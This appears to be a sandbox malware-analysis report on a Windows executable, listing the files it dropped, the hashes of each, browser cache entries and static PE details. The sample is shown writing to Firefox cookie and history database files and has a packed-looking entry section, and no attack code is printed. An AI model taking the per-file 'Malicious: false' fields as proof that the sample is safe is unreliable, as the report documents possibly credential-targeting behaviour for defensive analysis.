Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8144_758909389\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 16:06:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985479300164887
Encrypted:	false
SSDEEP:	48:8oddTFhoHzidAKZdA19ehwiZUklqehyy+3:8WnQdy
MD5:	B783AB084C6600869A1F69E10518D5F3
SHA1:	78F00464C24D421A39782E14B9658CBC3C4C3CC0
SHA-256:	3F7DD3568BE30BDF214E259788D0E70F70F5D26F1A7B1153317F131E68127A02
SHA-512:	E251641BB1F8137C8B8E35082EDE9F24229A559119DCBBEC05EDF1A8623D2D5BEDDDD952AA110B1589B644D35C42A6FFAFE005A71FA771F3CFC66692E86D5D9D
Malicious:	false
Preview:	L..................F.@.. ...$+.,....."b....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 16:06:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.000919964445577
Encrypted:	false
SSDEEP:	48:8cddTFhoHzidAKZdA1weh/iZUkAQkqehNy+2:8Cnq9Qoy
MD5:	EDF1CDE862616516B872AE4FA76120F8
SHA1:	BEC52DDA548E5A3561FCB721A49DDC1A1FB6EEF4
SHA-256:	388E10682468FA1B8E83D0CEAF14D297A9981FF7E06B406B8329B9C3B1661F8D
SHA-512:	E06D9FE7AF9B49E0B843DED7DB030300C442F64AFA21878E1F2E52AFD56EA13E167BBE7A6FA2B49F25ADED2E17D31521A05A8DABBD965F560AFCDBBD7D5B8331
Malicious:	false
Preview:	L..................F.@.. ...$+.,....^.@....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.012311698688024
Encrypted:	false
SSDEEP:	48:8xCddTFhsHzidAKZdA14tseh7sFiZUkmgqeh7sDy+BX:8xwnGn5y
MD5:	65641FE94C5EB4FFB1F5A742DA12CEDB
SHA1:	22397CA391BB3A9C66610DB0E20517196D2F732D
SHA-256:	8BE21F4E8C4889419DA6371C924A66F1C15F0A99839D8690CCCF9365579DD04A
SHA-512:	9C478206ECF586445A7779C0A1C4DEB10AE3F778749C91BF13AAC70147B6826129859128B0968BFB045E562D18394DC9FA56EC261C608C45CEA8040589B9182C
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 16:06:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.000528738908424
Encrypted:	false
SSDEEP:	48:81ddTFhoHzidAKZdA1vehDiZUkwqehBy+R:81nxLy
MD5:	8839859039B091D1214A99EA579118F6
SHA1:	1E81480F3538BB84896F0B99BC9D830753822671
SHA-256:	9BF343C217934900137DE80869DBC4E6C08CCB20CD67E604B8333FF5D8E6F4EF
SHA-512:	500B9903802D93305615A459540615F3FCCE1E66D07B2280E3939469C621F7E020DCBA9367F7B8E3ADFC056B257EE8DFB90E660716AADB82ABE91727441CF2B4
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....77....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 16:06:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9905765610619266
Encrypted:	false
SSDEEP:	48:8XOddTFhoHzidAKZdA1hehBiZUk1W1qeh/y+C:80nR9fy
MD5:	AD092C310DE8FCBB255C9EBF3F7A96BE
SHA1:	434D8A90877DE4631F6EF69529D314F6BDF28801
SHA-256:	4C6708FC3361197DAAD350BBA445DC1C7D480DEE3C85CC2ADEF9662FA40B9CD2
SHA-512:	D5D7106EDF82F0C59BE72252023C7658C81DE45CDB1984BB39D2853DC00FD5A6F15C17A3794D6C7D5032E8559AB179FEDEE102AB63F549FBCA4E24430B309314
Malicious:	false
Preview:	L..................F.@.. ...$+.,......L....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 30 16:06:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.000722661352931
Encrypted:	false
SSDEEP:	48:84ddTFhoHzidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb5y+yT+:8mnNT/TbxWOvTb5y7T
MD5:	EFEF6D2F27E585A9B0390CC5E262820E
SHA1:	C5A22BCA0B7383E181DCB02290706194C7528B6F
SHA-256:	246C0F7FA905F8E07053BCC6C2E995754E0B8FCE8520F708C4F4A3362B7BAA5D
SHA-512:	03EBE09ED11B4B60C1ACE9C25FC2AA113132EFFAEED999AB6746518BF0FDFF36DCD9932D50C9A8690832976B5201D4DE3BC41BBB724B517E44B015C753E63576
Malicious:	false
Preview:	L..................F.@.. ...$+.,......(....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I^Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (802)
Category:	downloaded
Size (bytes):	807
Entropy (8bit):	5.142829644537103
Encrypted:	false
SSDEEP:	24:9UUF6BAf9BHslgT9lCuABuoB7HHHHHHHYqmffffffo:9XEyf9KlgZ01BuSEqmffffffo
MD5:	760EBD03027733043958B5265FA626F8
SHA1:	A6C07DC2515B37B511A81649A1C0C8BC7CB16C78
SHA-256:	DF69732BF5FCF8AE7B4C5C5D55596410B2955F2C085012ADBA2BA5DA2A7343EF
SHA-512:	8296AFFB300C1E485B00904767F869C0E24FADEC912E7F836C90444ACEA42E93549335CBC06AE46C06AE6C0B0C7BC015A276B94CF1D131444CFF2ADAADD6E7DA
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["king gizzard and the lizard wizard tour","will venable white sox manager","smci auditor resigns","monster hunter wilds open beta test","des moines iowa beggars night","catholic church luce mascot","philadelphia eagles trade","weather denver snow"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133762
Entropy (8bit):	5.4367162679628
Encrypted:	false
SSDEEP:	3072:2Pyvjxd0QniyZ+qQf4VBNQ0pqkvx7U+OUaKszQ:Eyvv0yTVBNQ0prvxI+ORQ
MD5:	7C3C1D707FFFC5A9DB54B4A872AD98B8
SHA1:	A258A618F01945DD350B4E693E7ED2E18A82E06D
SHA-256:	5F1688147A688A576E00B4554C3C2F052AD1B492AE13C90129F548E6346620EA
SHA-512:	EBD8EC1C5FEA882F21BA23F601A95F8E09D46CB180AD111C2BA57459D8512C8FB40124D0F27200E85D1679D9A81D8DA2F08C948AC0B31BBC3B6C935087D109CD
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	86664
Entropy (8bit):	6.088924573498319
Encrypted:	false
SSDEEP:	1536:7h9qC0AZMfBA+Y31XKKBIkI1GO0CLFajkObF6xReK3rlR7MHgf1WcWFWf:7HqCJZMf6F31NUXFekzPeK7l6AtWcWFo
MD5:	145E577510A17D4BEB3B62A840773805
SHA1:	03009A08D7A46DEEF2337CAD371996D5191D6FB1
SHA-256:	9E03C8F318DD7930642835AD348434CD5097F50A5015B5CACB8359B8FD45F6CA
SHA-512:	1CFA6E7DE4C0E6A42CBD36C17F860F5BD452E75C43AAB7F8A448ACE423954CBE3D56B8FD20792327C2BFCD57B1FADABFD3DFD8C366AEE8F86C2F7F979F8917E3
Malicious:	false
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{"accessibility_description":"","alt_text":"Halloween 2024","cta_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbAAAADICAMAAAC+lkQAAAADAFBMVEVHcEwcCx0AAAAIAQMgAhM4DDBZA0NhDlBrD1l0EWBPFUJSADs/DjYxCCoXAg0EAAEKAwOdWawDAQMFAAknBiN6E2YLAgRjJoQLAAyuB8KPCXtHFDuVCJbDAu6FB3CjA6vNAP8ZBB67BdgPAgZYHUmMJH6qE/+aCoRgAUoND0sOHnMNGmqae9yjfPnBkf7Lmf+2iv7UoP9aMn8QAxU1Fk1wUaerfvKvg/ugeuqZcOaPaOMLEVUKFWAkHXE6LpddRKVrUrd5XsJkS65XPaA2LoIlKogTIXoeJX6QbNSddr9eQ5gSJYBCNIMsJn9QPYBcOoObZH5oRX+IWn6uc3x4Tn42InLbpf8iCi4NARIsDz6LbMaHUMdUPZZ1VLvCjrT/54a9oXALCUJPKG9gNYbfmqnZwIEuABitjsptQpJHMp1rVM+CW6r+1Xjel3zDmN8/H1tmP4xRN56wf6fEfHuNY7VVLXmYa6gJCTKQVM5EFk1MNo05ASGnXt6XQreIOqeFRLMxPpT2tql7UZ5JIWZMADWslOnjrf+1gdtMJW0ICErKqMb0tIFBI4JRKnSDYst1SJaFY+AqGGX/9ZX/37H91Jb//a3/9eX///9CACpSO7FeK2UvK5AhFFm3Ym2jN45oSZ+dQ2Z+MmRxKlpGAC5+TMJwRrZqQbFwOWqJVqB3SLxjP61gPKlkIlHxtdthEoKbWdZbOqXTRuX+e/9nAVH9tP58BGZuAlfaJ9b6CfqoFZaNcljGIr3iLuBbQz23HKmhEY11A17RJslgS8ZYRcCgcvJ5V9flY/m4UdCTc/CuQbyvGp6jMq3/38y3TZn0NPfiiN

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.959278708057322
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'153'472 bytes
MD5:	363f1b2f4756da222b17a7da242d8f7d
SHA1:	2cadabf80c572084de8b41371a33d683ad73f089
SHA256:	4a3c6cf986c461e36dea4a65f37b3ae4b4b9e55630f4f10647cc31a055eb51f2
SHA512:	0e69cc9a29d9856d275fba76410197f1551da9200548b56c858d8da38b9a4e67f6def3bd00dbfe86ae230ed6530654be64fb07c5b97c2c75b02cbfef0c447fdf
SSDEEP:	49152:lYTIcEObIFInbmijU69E4EvdbYwV6nsC2ldUkz9m:lYEcVkOaivw3VdC2jp
TLSH:	51A533D69FF2769DDED68076F31B1BEFBD982E070538125F160A43EB075AA874640C48
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb36000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD6B8EEAF7Ah
bt dword ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD6B8EECF75h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
